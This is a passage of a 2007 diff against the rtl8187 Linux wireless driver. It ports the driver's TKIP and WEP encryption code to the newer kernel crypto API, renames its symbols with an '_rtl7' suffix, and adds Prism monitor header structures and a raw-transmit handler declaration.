crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,13 +525,22 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } @@ -445,15 +552,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +599,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +611,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +649,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +665,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +673,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +682,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +700,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +716,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +761,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +791,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +818,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,21 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +210,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +240,22 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +276,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +290,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +303,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +312,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-06-08 23:30:44.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-06-08 23:30:47.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include 